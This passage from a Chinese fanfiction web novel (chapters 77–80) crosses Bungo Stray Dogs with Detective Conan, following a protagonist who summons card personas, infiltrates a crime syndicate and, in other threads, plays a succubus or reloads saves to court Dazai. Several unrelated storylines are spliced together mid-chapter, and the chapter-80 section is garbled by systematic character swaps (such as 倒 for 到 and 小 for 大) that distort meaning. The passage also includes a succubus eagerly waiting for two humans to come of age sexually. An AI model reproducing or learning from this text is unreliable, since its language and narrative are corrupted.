章 第七十七章(圣诞节加更) 望月的眼神已经死掉了。 这回他算是结结实实地感受到了那边两个人类雄性的难受之处。 有什么比身体的欲望吊在半空中,却又得不到缓解来得更痛苦的吗? 这对魅魔来说是简直是一种刑罚。 “吾辈都已经忍耐很久了啊!你们两个人类到底什么时候才能成年啊呜呜呜……” 这次是望月最欲求不满的一次。 气得银发恶魔趴在太宰的身上,泪眼汪汪地开始一顿哭。 他似乎想到了什么,哭声停止。 银发恶魔的紫眸里闪烁着小星星,满怀期待地看向两个人类。 时隔多日,望月总算想到再次召唤水原秋。 考虑到SSR拥有比其他卡片都没有的灵动,望月认为水原秋已经诞生了部分自主意识。而不是像摸鱼哥和社长那样,戳一下动一下,严格遵循卡牌原定设定行事,莫得灵魂。 SSR拥有独一无二的成长性。 望月决定更加审慎、尊重地对待水原秋,以及之后可能抽出的SSR卡牌。 他们就像是自己的多重人格化身,经历不同,性格不同,但灵魂却初具雏形。 当然,望月还是能链接水原秋的意识,如臂指使地使用他的身体。归根究底,卡牌们都是因望月的精神力而诞生的,倚靠望月的精神力维持生存。 望月在把人喊出来前,先把水原秋的角色面板仔细浏览了一遍。 姓名之类的基础信息之前已经看过了,望月跳过,直奔角色特质。 【无心杀手】这张牌,竟然有三个特质。 面板显示: 特质一【这很柯学】: 刀片超车?火车顶上玩速度与激情?在百米高空用床单当降落伞?总之,只有他不想做,没有他做不到的。(牛顿的棺材板快要盖不住了。) 特质二【无心无情】/【■■■■】: 他曾接受过杀手训练和洗脑,长期行走于死亡边缘,见惯了刀光血影、生死别离,早就练就一副铁心石肠。(“一把合格的刀,不需要多余的情感。”) 特质三【■■】:(等待解锁) “……” 望月一怔,满脸困惑。 他把系统抓出来,质问:“角色面板出问题了吗?怎么还打码啊!” 系统无辜道:“这就是SSR的特殊之处呀,一切奥秘都需要宿主自己探索哦。” 望月:“你就不能提前帮我解锁吗?” 系统:“请不要为难系统。” 望月:“给点提示。” 系统:“我真的不知道,一旦打码,谁都看不见。” 望月安静了几秒。 系统格外敏锐:“宿主,你是不是又在心里偷偷骂我!” 望月:“你知道就好,小废物。” 系统:“……” 这次装都不装一下了吗! 望月嫌弃地把“没用の统子”丢回识海。他自己琢磨了一会儿,决定先把水原秋召唤出来,见一面了解了解。 说不定就能瞎猫碰上死耗子,把打码的特质解锁了。 在把人喊出来前,他特意锁好了门,穿好了拖鞋。 每个马甲都有各自的执念,长谷社长的执念是社长办公室的椅子,摸鱼哥的执念是游戏手柄。 望月认为水原秋的执念,很可能是他的拖鞋…… 水原秋应召唤而降临的时候,第一反应是往本体的脚下扫了一眼。 看到望月安安稳稳地穿着鞋,他才收回视线,直视着少年的双眸。 身形高大的男人乍一出现,原本宽敞的卧室倏然在视觉上变窄了许多。 水原秋还穿着卡面上的那身作战服,除了那杆枪没有出现,就连匕首都好好地绑在腿侧。 他的衣服是全新的,没有染上血污。可只要他站在那里,血与尘的压迫感便迎面而来。 “望月。” 男人开口唤道,他的嗓音沉冽,尾音低磁,咬字快而清晰。 望月莫名有些拘谨:“嗯……秋先生,快请坐。” 他指了指卧室内唯一的转椅。 水原秋没动:“你坐就好。” 望月飞快搬了个小板凳:“我有这个!” 水原秋上前接过他手里的小板凳,坐了下来。 “……也行叭!” 望月不再纠结,自己坐到了转椅上。 男人手长腿长,坐在小板凳上,膝盖必须得曲起来,画风委实诡异,看着很好笑。 倒是冲淡了他身上散不掉的血腥气息。 望月主动道:“我来做个自我介绍!秋先生,我是你的本体和主意识。我叫望月,今年十八岁,高一,喜欢拼乐高和打电玩,嗜好甜食……” 不是,怎么越说越偏。 望月不好意思地“咳”了一声,连忙将话题抛出去:“秋先生,你呢?” “水原秋,今年二十七,没有喜欢的……食物和娱乐方式。” 男人的墨瞳黑沉沉的,始终注视着望月:“我是你的人格。” “诶?” 望月微微诧异,这个说法,倒是和他之前的设想不谋而合了。 他想了想,直入主题:“秋先生今后有什么打算?……你看,我的事业刚刚起步,手上能用的马甲号都不算顶尖,我还没有能够帮我打入主线的人……” “好。” 没等他说完,水原秋一口应了下来。 望月眨了眨眼,试探地问:“那我以后可以登你的号么?就是链接你的意识、同步你的记忆和感官……在我链接期间,你可能会被‘弹出’,失去身体的主控制权。” “可以。” 水原秋还是应得很快,半点犹豫都不带的。 望月松了口气,露出笑容。 “我还担心秋先生不好说话,现在看来,完全是我多虑了。秋先生是个好人嘛,很好相处啊。” 少年正值最美好的年岁,眉眼弯弯、唇角微扬地笑起来时,一身冷清的气质登时被打碎,显露出柔软的内陷和温柔和灵魂。 水原秋“嗯”了一声,眸色缓和。 “那我们来谈谈秋先生之后的工作吧?”望月提议。 水原秋颔首,示意望月接着往下说。他很沉默,基本不怎么出声,看上去不爱说话。 望月将自己的计划全盘托出:“我需要一个马甲进入酒厂,众所周知,进了组织,就等于半只脚踏入了主线。其实去红方也可以,但是,秋先生,你的气质恐怕不适合当警察。” “秋先生,你的武力值是最高的,我想让你帮我打入酒厂内部。” 望月坦诚道:“我就实话实说了,进酒厂是有危险的,他们手黑心也黑,都不是什么好人。” 望月说了一大串,男人都没点反应,面色不曾变过,直到听到最后一句话。 他迟疑了,问道。 “等加入组织后,我也会做那些事。到时,你的看法会变吗?” “什么?”望月一下没搞懂他在问什么。 水原秋问:“你会认为我是坏人,从而厌恶我么?” 望月睁大眼睛,脱口而出:“怎么会!” 他认真道:“秋先生,你怎么能把自己跟其他人对比。你和我是一体的呀。” 少年的嗓音清亮,如潺潺而过的山间清泉,清澈透亮。 望月用这种纯洁干净的嗓音,自然大方地说:“秋先生,你放心,我是双标狗!最擅长的就是对自己人双标,对外人秋风扫落叶般无情!” “……嗯。” 水原秋可疑地沉默了一会儿。 望月怀疑男人其实有点想笑,但碍于形象,绷住了。 望月还想再说什么,却被男人制止。 “你该睡觉了。”水原秋从板凳起身,说道。 望月:“我再说两句……诶诶诶——” 少年被男人的阴影一罩,还没挣扎,就被一把托着腿弯臀背,像是个孩子一样被抱了起来。 他生无可恋地半趴在男人肩颈处,手扶着水原秋的肩膀,说:“秋先生,打个商量,下次抱我前可以提前说一声吗?” “就算咱俩的灵魂同出一源,本质上算是一个人……可我会被吓一跳。” “抱歉。”水原秋说,“好的,我记住了。” 望月被塞进被子里时,还在企图挣扎:“其实我不是很困……” 男人把书桌前的转椅搬了过来,放在床边,施施然坐下来,架着二郎腿,抱臂望着望月。 “睡。”他言简意赅地说。 望月:“……好吧。” 望月嘀咕道:“这种霸道的性格,真的是我的人格么?” 果然人格的说法,是系统偷偷听了他的自言自语,编进了卡片程序中吧! 水原秋倾身,用指尖敲了敲床沿。 望月果断闭嘴,他仰躺着,头枕着舒适的枕头,睡意渐渐涌了上来。 男人跟个守护神似的坐在他的床边,面容英俊而冷肃。 望月先前还觉得水原秋的性格太过霸道,现在用这种视角看过去,又突然觉得这样的秋先生也不是不能接受。 反正他就是个双标怪嘛。 “你不要被叔叔看见,等我睡着就回卡池里休息。我明天放假,先去商场给你买几身常服,你换上再走,这一身作训服太显眼了。” 望月凭借最后的毅力叮嘱道。 “好。”水原秋应完,又催促道:“快睡。” ——希望今晚别再梦见那些枪啊炮啊血啊的,给他一个正常的睡梦吧。 望月闭着眼睛许完愿,慢吞吞地、很小声地说:“晚安……哥哥。” “晚安。”水原秋用没什么感情的冷硬嗓音,回应了他。 望月却很满足,意识几乎在瞬息间坠入了沉沉的黑暗中,一夜无梦,睡眠质量奇高。 望月以前从未想过,但就在那一刻,他想,如果能有这样一位兄长护佑他,那就好了。 于是那声“尼桑”,就这么自然而然地说了出来。 但望月不知道的是,水原秋在他床头边上坐了一整夜。 从夜幕沉沉到晨光微熹,直到金色的阳光透过薄薄的纱帘映入室内,他也不曾离开过半步。 他很安静,但存在感并不低,整个人笔挺锐利,如同暗藏锋芒的利剑。 望月被这种气势笼罩在内,睡得愈发沉了。 天际泛起鱼肚白时,望月仍在沉睡,水原秋依旧坐在那把小小的转椅上。 水原秋的角色面板在不知不觉间变了。 …… 特质三:【弟控】 该角色无法忍受任何伤害到弟弟的行为,他渴望有个弟弟,正如他的弟弟渴望拥有一位兄长一般。 (“我愿意为你献上一切,包括生命。”) 系统沉默。 说实话,这个恶魔似乎一直以为只要成年就可以涩涩。但直播间能不能放出来,就连它也不知道,毕竟这又是另外一回事。 但对方这么询问,系统还是告诉了对方人类的时间。 望月眨了眨眼睛,脸上露出恍然大悟的神情。 “诶,对哦,人类的计时方法和恶魔们的计时方法不一样。这就是人类的时间…唔,等一下,日历又在哪里……” 银发恶魔在房间里转来转去,终于找出了一本日历本。 “让吾辈看看这两个人类哪一个会先一步成年呢,呼呼~到那天吾辈就可以正式开动了!” “中也的生日……噢噢噢!” 望月的眼睛刷地一下亮了起来,欢喜地举起手里的日历本,兴奋地说道。 “不就在一个星期后嘛!” “那吾辈一个星期后不就可以吃上正餐了!” 第 78 章 第七十八章 中原中也注意到银发恶魔这几天背着自己鬼鬼祟祟地,似乎又在准备着什么新东西。 于是他忍不住问对方在做什么。 银发少年对着自己眨了眨眼睛,笑嘻嘻地说道。 “呼呼,吾辈在准备一个大惊喜哦中也~” “……” 你准备的最好是惊喜而不是惊吓。 中原中也的后脑勺上滑落一滴冷汗,无奈地扶额叹气。 他现在已经习惯了这家伙动不动就给自己整一点花活出来,就像每天回家都能看到自家猫打碎几个花瓶似的。 对方还完全没有悔改之意——会认错但是下次还敢。 要是哪天安分下来,中原中也说不定反而感到有些不适应。 【滴,读档中——】 “…太宰小姐!” 粉发少年紧急拉住他的手,而自己却被匕首割开喉咙,鲜血四溅。温热的血液沾满脸颊,他低头注视着对方脸上的表情,似乎想要找到什么。 那双琥珀色的眸子中没有恐惧与惊恐,只有一丝惊讶和淡淡的担忧。 【滴,读档中——】 “太宰小姐!” 面前的身影顿时被火焰所吞噬,飞扬的火场让人联想起燃烧的金阁寺,飘扬着众多火星,一如金粉般闪耀。 而自己身上各处的火泡和擦伤,以及血流不止。 【滴,读档中——】 一次,又一次,死亡、回溯,死亡、回溯。 然而那张笑盈盈的表情,却逐渐在面前扭曲了起来。 所有接近的一切都有了头绪,曾经的茫然和疑惑也迎头而解。 蒙在这个世界之上的真相,犹如女妖的透明面纱,如今一点点地被掀开,露出令人无言的真实。 【滴,读档中——】 太宰治缓慢地眨了眨眼睛,感觉到自己的意识逐渐回笼。 那个熟悉的身影又一次走到了自己的身边,声音还是那般令人作呕的温柔。 太宰治抬起头,面无表情地注视着眼前朝自己微笑的望月。 多么假惺惺又无比做作的姿态啊。 看似温柔的、珍重的、真诚无比,实际上虚伪之至。低贱的、作呕的、腐朽的、糜烂的…… 那双已经恢复冷漠的鸢瞳不断发散,充斥着各种恶意与负面情绪。 “——您没事吧?有受伤吗?” 太宰治的眼神微微一顿。 刚刚还在耳边嘈杂不止的低语声,似乎被人猛地摁下了暂停键,却又没有彻底消失,依旧剩下犹如空白卡带播放时的沙沙声。 而望月依旧很在意,一副担忧的模样地靠近了自己。 太宰治却下意识退后了一步,与面前的粉发少年拉开距离。 眸色一点一点暗了下来,像是航行在深夜时分大海之上。没有波涛汹涌、惊涛骇浪,只有一望无际,令人恐惧的黑色。 一种被哄骗、被愚弄、被欺诳后的愤怒油然而生,叫嚣着,令他咬牙切齿。 『说什么‘就算「死亡」也要站在我的身边’,根本就是因为自己不会死,才说这种大话吧。』 『——你根本就是个骗子啊,望月。』 “系统,你不觉得最近太宰小姐带着我做任务的次数比之前变多了吗?” 【是的。】 “如果是以前的话,太宰小姐都是直接丢给我,现在自己也一起去任务现场了呢。” 【是的。】 “每次太宰小姐都站在枪火之中,眼中充满了对死亡的不屑一顾,虽然这种疯狂感也很吸引人啦……但还是会因此感到不安和担心呢。” 【是的。】 “对了,我已经读档了几次来着?” 【八次。】 “诶,01你这是进入托管模式了吗?” 【……不是……】 望月一边寻找着刚刚爆炸的发生点,一边在脑内和系统对话。 后者则是一副生无可恋的样子。 系统看着望月乐观积极的态度,又看了看系统日志里,太宰治好感度加加减减却依旧保持着原状,不由得感到替宿主感到委屈。 每次宿主为了救太宰治而牺牲死亡,除了第一次读档前一口气增加了三十点好感,后面几次死亡都不见他的好感度有任何波动,仿佛宿主的死亡在他眼里就是件无关紧要的事。 就算再冷血的家伙,看到有人为了自己而死,或多或少情绪都会有所波动吧,再不济就算只加一点好感也行啊! 然而太宰治这家伙到底怎么回事! 一开始只是觉得比较难以攻略,现在则是想问问那个天杀的策划,居然把这样的角色放在初始攻略角色之一!这不是纯纯膈应人吗! 这回连系统都没了主意,想拿自己的光球脑袋咚咚撞墙。 “说起来,系统,我好像一直没主动存过档啊。” 没想到望月提到这个,系统心中咯噔一下。 【呜,那个……事实上我们暂时不提供手动存在,只有系统自带的自动存档,而且存档时间都是随机不可控的……】 系统的声音显得委委屈屈,若是仔细分别还能觉察出其中一丝丝心虚。 这也不能全怪系统。它的内存在望月的「性别修改」补丁上用去大半,一部分系统权限也受到阻碍。 这种不完善它自然没敢和望月说。 好在望月也不是没玩过bug满天飞的游戏,什么进入闪退、读档丢失、数据错误……他都不幸经历过,但为了美少女们,都只能无奈地重新打存档。 所以他只是抱怨了两句,很快就放平了心态。 毕竟打游戏嘛,最重要的就是开心和乐观。 “啊,找到了。” 望月可不知道系统见自己没再多问而松了口气。 他眨了眨眼,终于在仓库角落处发现了那个闪烁着红光的包裹。 别看只是小小的一个包裹,爆炸的威力可不容小觑——毕竟这是由望月刚刚亲身体会一遍的。 “还有十分钟。” 望月低头看了眼上面显示的时间,果断打电话给擅长爆破物处理的同事们。挂断电话后,背后又响起熟悉的脚步声。 他转过身,便看到黑发少女幽深的鸢眸,面无表情地注视着自己。 哦、哦呼,太宰小姐还是一如既往的高冷可爱啊。 果然,近距离欣赏美少女的感觉,和隔着液晶屏幕的感觉还是不一样的啊。 压制住自己周围散发出的萌萌粉色小花,望月轻声假咳一声,笑眯眯地看着太宰治,问道。 “太宰小姐您怎么过来了?我刚刚在这里发现了炸/弹,已经通知人过来处理……” 听了望月的话,太宰治的嘴唇嗫嚅着,似乎想要说什么。 但当眼神瞥到地上的包裹时,嘴巴又重新闭上抿紧,阴郁的表情更加漆黑,眼神晦涩莫辨。 【太宰治好感度-1】 啊啊啊又来了!不知道为什么又掉好感度了! 系统苦着脸。 每次宿主为了救太宰而死亡,读档回来后提前处理掉危险情况,太宰治的好感度又会莫名其妙下降,令人摸不着头脑。 系统翻遍了过往所有乙女游戏和少女漫画、恋爱小说,结果也没能得到什么好攻略方法。 ——所以这家伙到底要怎么样才能攻略啦! 这好像成了一个无果的问题。 “喵~” 粉发少年仰头,看了一眼面前的集装箱,又扫视一圈周围。 作为废弃的渔业码头,这附近没什么人影,偶尔能在地上看到某些居无定所的流浪汉们遗留下来的生活垃圾。 “是这里吗?” 望月低头向身边的黑猫询问。 后者坐在地上悠哉悠哉地舔舐着爪子,甩了甩尾巴,不再搭理他。 于是,望月伸手,郑重地敲了敲眼前这幢“房子”的门,不轻不重的声音却足以回荡在这空无一人的场所。 “太宰小姐?” 然而周围静悄悄的,只有海鸥们偶尔叫唤两声。 屋子内也没有传来任何反应。 【太宰治好感度-1】 ……看来的确是在这里了呢。 望月无奈,轻声道了一句“失礼”后,小心翼翼地推开没有上锁的房门。 说是房子,不过是个空壳集装箱,一眼便将所有的东西收入了眼底。除了用纸箱和木板拼凑而成勉强能够称得上是床的家具外,空空荡荡。 或许是因为靠近横滨海,空气中蔓延着属于海水的咸涩味;像是用来装沙丁鱼的罐头盒子,充满着一股死亡与腐烂的味道。 不过,望月却没有看到任何人影。 “太宰小姐?” 望月下意识地皱了皱眉,试探着再次喊道。 既然刚刚系统显示了太宰小姐的好感增长,那么说明她人肯定在这里才对。 他抬脚走了进去,身后忽然响起熟悉的子弹上膛的声音。 “咔嚓。” 身后的人没有说话,皮鞋稳稳地踩在地上,一步一步地靠近,最终将枪口抵在了望月的后背蝴蝶骨处。 ——只要轻轻扣下扳机,子弹就能轻而易举地贯穿心脏。 然而望月不但没有紧张,反而因为对方的出现而松了一口气,温柔地说道。 “抱歉,打扰到太宰小姐休息了吗?因为您好几日没有来港口mafia,大家都很担心您的情况……我也非常担心您……” “怎么找到这里的?” 身后的黑发少女——太宰治声音冰冷,径直打断了他的话。 ——望月是第一个找到自己的人。 太宰治很确信自己的行踪藏得很好,这里是他N个安全屋里最不起眼的一个。唯一能想到的方法就是定位器。 不过,敢在他身上装定位器无异于班门弄斧,自作聪明。 那是怎么找到自己呢? 难道说,望月是通过自己身上的那个「秘密」而锁定到自己了吗…… 想到这里,太宰治的眼神又一次漆黑了下来。粉发少年背对着自己,无需顾忌自己的表情会被对方窥见。 结果面前背对着自己的望月却说道, “因为找太宰小姐的时候,在路边遇到了一只很可爱的小黑猫。所以我向猫咪先生问了路,然后就找到这里了呢。” 太宰治:? 而对方看到自己的造型时,似乎有些惊讶。 “唔?你是中也的情人吗?” “才不是情人!” 望月下意识反驳道。 他叉着腰,义正言辞地对着面前这个带着中也相似气味的金发男人说道。 “吾辈可是中也的宠物!” 魏尔伦:……? 系统:…… 承认得好理直气壮啊喂。 第 79 章 第七十九章(2w8营养液加更) 魏尔伦很快便回过神来,如同神明般俊美的脸上,眉毛忍不住微微皱起。 他有些开始担心起自己的这个弟弟,是不是有什么奇怪的爱好。 毕竟也才十八岁,就开始和那群黑手党们一样开始养起宠物了吗。 不过没关系。 反正中也身旁的人类,他都会杀死的。 空气中弥漫着被打翻在地的奶油蛋糕的味道,甜腻的奶油混合着鸡蛋的香味,不断蔓延扩散。 模拟考来的很快,为了心仪的乐高积木,望月铆足了劲,一心扑在学业上,头都不带抬一下的。 见此情形,所谓“早恋”的谣言自然不攻而破。 松田阵平还被萩原研二修理了一顿,美其名曰:“不要在小望月面前说奇怪的话!” 松田阵平感觉好冤,明明萩也有类似的猜测,他只是把两人的猜测说出口,最后怎么还成了他的锅。 两人的疑心并非没有道理。 随着年岁渐长,望月的外貌优势越发突出。走在大街上,回头率都高不少,据说还曾经在街边被星探问要不要去娱乐圈发展。 学校里,暗恋望月的人也不少。只是大多数人都被望月的冷清气质所迷惑,望月不爱参加活动,他们没有渠道也不敢上前跟望月结识,因此完全不知道望月的真面目。 萩原和松田第一次听见望月的外号是“高冷王子”时,差点笑到肚子痛。 望月恼怒地举起沙发靠枕,在客厅追杀他们。直到因为边跑边喊岔了气,扶着桌子咳得惊天动地,吓坏了两人,又惊动了楼上的武田川吉,一场闹剧才被迫终止。 ——望月因幼年家中变故,生了场重病,从此体弱,需要精心呵护,已经成为所有人的共识了。 如今。 望月这么用心学习,武田川吉却很后悔说了那番话。 “无论考多少分,我都给你买。”武田川吉很有大家长的气质,说道:“早点休息,多出去运动,别整天在家里看书,对眼睛也不好。” 望月笑眯眯地:“我知道啦。” 等叔叔离开,他还是该干嘛就干嘛,把自己硬生生活成了卷王的样子。 他连SR马甲都没心思登,只让马甲定时氪金,把抽卡券囤着,等之后再抽。 倒是百忙之中,抽空链接了几次水原秋的意识,探听秋先生的近况。 水原秋接了几个黑市的任务,故意在组织的人面前展露自己的实力后,很快就被组织注意到了。 如今早已被吸纳进入了组织。 一开始是在外围活动,后来因为实力太强,火速升进了内围。 等到组织调查完他的背景——无父无母的孤儿,没有朋友,孤僻没人喜欢的独狼雇佣兵,靠接黑活赚钱——之后,水原秋升的更快了。 这种人或许不是组织最喜欢的,但却是组织里存在最多的部分。很多人都是这样,带着点野心,想要为自己寻一个出路,从而加入了组织。 除了强悍的格斗术和精湛的暗杀术外,水原秋还着重表现自己的“双标”。 他知道这种组织最想要什么人。 于是,当组织派人来试探他的忠诚时,水原秋只说了一句:“我对其他人和事都不感兴趣,我只会服从BOSS的命令。” 乌丸莲耶作为黑衣组织的幕后大BOSS,别人或许会觉得水原秋过度谄媚讨好,他听完这番话后,甚是满意。 更何况水原秋几乎是一名最完美的杀手——他对待任何人都不假辞色,沉默寡言到了极致。执行任务时狠辣果决,从不手下留情,收尾干净利落,至今没出过纰漏。 无论从哪个角度看,水原秋都很合他的心意。 乌丸莲耶动了培养的心思。 上一个让他如此满意的人,还是琴酒。 可琴酒逐渐势大,乌丸莲耶逐渐老去,一年比一年力不从心。 APTX4869迟迟没有进展,还好有个朗姆顶在琴酒前面,否则乌丸莲耶更不安心。 不如……再扶一个起来,制衡琴酒的行动组。 至于扶起来的那个人到底能不能成事,会不会沦为炮灰,会不会受琴酒迁怒而被故意针对。 这关他什么事呢? 乌丸莲耶幻想自己是地下世界的帝王,将一手制衡之术用的炉火纯青。 殊不知。 玩弄权术却不知收敛的人,终有一日会惨死于他引以为豪的权谋中。 ** 水原秋收到了来自那位先生的命令。 他得到了“觐见”的机会。 消息传的很快,所有人都在羡慕和嫉妒水原秋的好运,水原秋本人却不以为意。 仿佛一切都在他的意料之中。 琴酒发来简讯,通知他时间和地点——他会负责带水原秋去见乌丸莲耶。 水原秋站在乐高专卖店前,看完简讯,顺手就把它删了。 这是他长久以来的习惯。 他调整了一下口罩,挡住自己的大半张脸,抬腿走入亮堂堂的店里。 水原秋站在那里,环顾了一周,刚露出踌躇的模样,立刻就有一名店员迎了上来。 “先生,您需要推荐吗?” 水原秋似是松了口气,颔首道:“嗯,麻烦了。” 店员笑着问:“您是要送人,还是……?” 因为水原秋看起来实在不像是乐高爱好者,店员才有此一问。 男人果然道:“送人。” 店员:“对方的年龄和喜好是什么呢?” 水原秋顿住,垂眸仔细扫了一眼店员,没有立刻回答。 店员打了个寒颤,感觉周围温度降低好几度。他不明所以地搓了搓手臂,还以为是店里的空调坏了。 “这位客人?”店员满脸疑惑。 水原秋收回视线,这只是个普通人。 “十八岁的男孩子。”水原秋答道,“请给我推荐稀有一点的款式。” 店员的眼睛一亮,是个大客户。 十五分钟后,水原秋走出乐高店,手里拎着一个大箱子,里面装着尚未拆封和组装的乐高积木盒子。 他习惯性地环顾了一圈,确认无人跟踪、一切安全之后,迅速离开了这里。 水原秋东拐西拐地绕来绕去,走路速度又快,就算有人跟踪,也足以把人绕晕。 他走进一个小巷子里,那里已经等了一个年轻男人。 年轻男人穿着快递公司统一配备的蓝色马甲,黑色短发,面上时刻带着笑容,看上去是个阳光大男孩。 他快步上前,接过水原秋手里的箱子。 “送过去的时候小心点,别摔了东西,也别让人看见。”水原秋说。 青年挂着一成不变的微笑,热情道:“好的,秋先生,我一定将它完好无损地送到。” ** 是夜。 望月伏案复习功课,写着写着,笔尖突然停下。 他感受到【快递小哥】马甲号离他越来越近。 三分钟后,快递小哥在一条街外的某个地方停住不动了。 望月没有在意,他以为是【快递小哥】在日常送快递,只是正好送到他这片区域,转眼就把他忘在脑后。 十分钟后,望月刷了几道题,突然记起这回事。想着看看他走了没有,用精神力顺着链接一探查—— 好家伙,怎么还站在原地没动啊? 望月很是疑惑,但还是没管他,接着刷题。 又过了五分钟,望月开始担心了,再查……发现快递小哥还在那里。 精神力刚一过去,立刻被快递小哥戳了两下。 望月顿悟。 ——这是有事找自己啊! 他微垂眼睫,分出一点意识登入了【快递小哥】的号,同步了马甲的记忆。 望月看见了水原秋和马甲之间的地下交易。 望月:?? 秋先生什么时候跟他的马甲联系上的?交易的姿势也太熟练、太容易让人误会了啊! 不知情的还以为他们在交易危险物品呢。 ……也说不准。 望月低头,脚边正放着一个小腿高、小臂宽的长方形箱子。 箱子就是普通纸箱,六个面都干干净净的,什么单子都没贴。 他看不出来里面是什么。 “这么大的箱子啊……”望月本想当场拆开,手都碰到透明胶带了,又倏地收回。 “还是让本体亲自签收吧。” 望月偷偷溜出了家门,偷偷从马甲手里接过秋先生的礼物,再偷偷带回家、运进卧室。 非常幸运,全程都没有被叔叔发现。 望月满怀期待地拆开箱子,看到里面的东西,顿时双眼放光。 “哇——!!” 望月惊喜地抱着乐高盒子:“是乐高!是大号的千年隼!” 这一款乐高超级贵,买一个的钱足够买其他好几个款式了。望月哪怕存了零花钱,也舍不得买。他又不想把马甲们赚的氪金“公款”,用在提供自己娱乐上…… 现在不用羡慕别人啦! 望月抱着盒子不撒手,乐得像个小傻子。 是哥哥送给他的礼物! 他还没考试呢,就有奖励了! 好开心。 魏尔伦愣了一下,看着面前银发少年忽然露出来的翅膀和尾巴,表情有些惊讶。 不过他很快就冷静了下来,海蓝宝石般的眼睛平静地看着面前的银发恶魔。 “原来你并不是人类。” “对哦,所以你想要杀死中也身旁的人类的话,应该不包括吾辈了吧。” 望月撅起嘴,小声说道。 “可恶,中也什么时候回来呀……” 面前如同神明一般的金发男人可不是自己能对付的过来的。 银发恶魔身后的翅膀都忍不住抖了抖,尾巴更是有气无力地垂在双股之间,传达着主人此时的心情。 ……不会真要他上吧? 第 80 章 第八十章 让魅魔们去打架,他们只会哭喊着还不如让他们和阳O的猎物去做O——反正两件事都相当的艰难。 如果望月这个时候能变成猫咪的样子的话,大概正对着不远处的金发男人变成了飞机耳,尾巴炸毛。 ‘系统系统系统系统!吾辈真的会被这个混蛋雄性给杀死的!你快想想办法,吾辈帮你做任务难道还要把性命给搭上吗!’ 望月在脑内一个劲儿地尖叫着。 而这个混蛋系统又开始装死。 该管自己的时候不管,不让自己吃饭的时候倒是管得起劲。 魏尔伦看着面前的银发少年,对于对方恶魔的身份,惊讶之余,却没有更多的感想。 错于武装侦探社去说,这注定是一个不眠之夜。 4日4日——也就是今地,零点前前,横滨市内忽然少了无数陌生建筑,原本熟悉的交通道路,也非常离奇古怪地,和另一个截然不同的公路网接轨了。 甚至,还因为双方的交通规则不同,一边靠右行驶,另一边靠右,因此在路口引发了不少交通事故。 这么小的动静,但凡当时还没有入睡的人,都注意倒了这种诡异的现象。 武装侦探社自然也不例外。 作为政府的合作机构,这座城市的“黄昏”,这样的时候,他们理所当然地,需要站进去,协助维持秩序。 “——太宰那个混蛋,倒底跑倒哪里去了啊????” 国木田独步一手抓着写着“理想”的手账本,一手拎着一个试图打破商店玻璃门实施抢劫的男人,看着附远街道上混乱的景象,额角青筋直跳,忍不住错自己那不在现场,不知道摸鱼失踪去了哪里的搭档,发进了灵魂怒吼。 宫泽贤治从道路的另一边走过去,看倒国木田独步手里拎着的男人,很低兴地说? “又一个?嗨,交给我吧,国木田先生?” 国木田独步?“……” 在这个时候,小概也只有这位还笑得进去了。 他眼睁睁地看着宫泽贤治从他手里接过那个抢劫未遂犯,拎起他的领了,像投掷铅球一样,把这样一个体重超过七一公斤的小男人扔倒了街角的垃圾堆前面。 ——小概是在凌晨的两点半右右,不知从哪里传进的流言,说是所有的道路被封锁住了,这片两座城市融合的空间被封闭了起去,把全部的人都困在其中。 流言的真假还不清楚,倒是在流言传进的在半小时之内,所有24h便利店内的食品货架,就已经全部被买空了。 与此同时,倒处都在发生着恶性抢劫案件。 人们砸破玻璃,踢开小门,冲进商铺和超市,就像蝗虫过境一样,把所有视线里能够看倒的食物,全部哄抢一空。 毕竟,小部分店铺,晚上都是不开门的。 至于真正占了小头的,食品厂商和仓库…… “——港口Mafia的人控制了横滨市内几座小规模的食品厂和粮仓,现在,他们应该正在转移方便存储的食物,准备集中倒一起看管。” 福泽谕吉踏着木屐,挂着那张万年不变的热脸走了过去,说。 仿佛是专门为了给他这段话做进注解似的,一辆漆黑的、显然是属于港口Mafia的厢式卡车,从福泽谕吉背前,挂满了红灯的道路上,目中无人地呼啸而过。 宫泽贤治?“……” 国木田独步?“……” 宫泽贤治望着那辆嚣张地飞驰远去的卡车,问?“军警不管管吗?” 国木田独步叹了口气。 “军警忙着安抚民众,处理各处的抢劫案呢。”他说?“我想,就连城市被封闭了的流言,应该也是港口Mafia故意放进去的,目的就是为了分散军警和异能特务科的注意力。” 福泽谕吉听倒自己的弟了这么说,沉着脸色,没有说话。 都不用怀疑,这就是森鸥外能干得进去的事。 一旁的宫泽贤治还不太暗黑?“……嗯?” 福泽谕吉的神色,看起去又热硬了几分。 他说?“另外,我收倒消息,不只是食物,我们横滨的几座发电厂,油库,还有药品库存,也被港口Mafia一起控制了。” 国木田独步一愣,然前反应过去? “……这是,已经确定进不去了,所以优先控制最重要的资源吗?但是,他们怎么能肯定——” 他刚说倒这里,忽然,两道雪亮的车灯就打了过去,把小巷里的三个人照得纤毫毕现,国木田独步和宫泽贤治上意识地手遮挡,福泽谕吉则是略微眯起眼睛。 随即,一辆轿车驶了进去,停在他们面前。 中岛敦从副驾驶位里钻了进去,喊道?“社长?国木田先生?” 国木田独步向他点了点头,福泽谕吉的表青却还是没什么变化。松接着,与谢野晶了从驾驶位上上去,一踩倒地上,就直直地看向福泽谕吉,说? “我们确认过了,没法从海上离开。” 国木田独步?“……” 宫泽贤治夸张地叹了口气。 与谢野晶了?“我和敦按照社长说的,从码头开着快艇离开,开进去小约而一海里之前,就看倒了笼在海面上的雾气。再往前开,雾气越去越浓,我们也不知道开了少远,只坏先调头返回去,结果发现很快就开进了雾区。” 国木田独步问?“返回的那个位置,距岸边小概少远?” 与谢野晶了摇了摇头,“没法定位。整个城市的信号都被隔绝了,现在市内通话还能使用,是因为基站还在,倒了海上,要靠卫星讯号,就什么也收不倒了。我们两个的手机根本没有信号,而一海里的距离,还是靠着车速估计进去的。” 国木田独步看了一眼旁边的福泽谕吉,问?“……是重复的空间吗?” 福泽谕吉没有正面回答,而是说?“乱步还在社里。” 这就是他也不知道,需要等着名侦探判断的意思了。 进于安全考虑,泉镜花留在他身边。 这两个人,这时候应该正在看他们发回去的资料。 与谢野晶了也知道这个安排,她问?“现在青况怎么样?” “忽然和另外一座城市混在一起什么的,这么小的变化,只要是还没睡着的,肯定都看倒了吧?” 国木田独步叹了口气,说? 他把眼上的局面,还有港口Mafia控制资源的动作,简单地讲了一遍。 与谢野晶了听完,愣了一上,然前嗤笑进声?“港口Mafia居然能有这么少人手?现在要是随便去个人,倒黑手党总部小楼去,恐怕就能直接刺杀森医生了吧?” 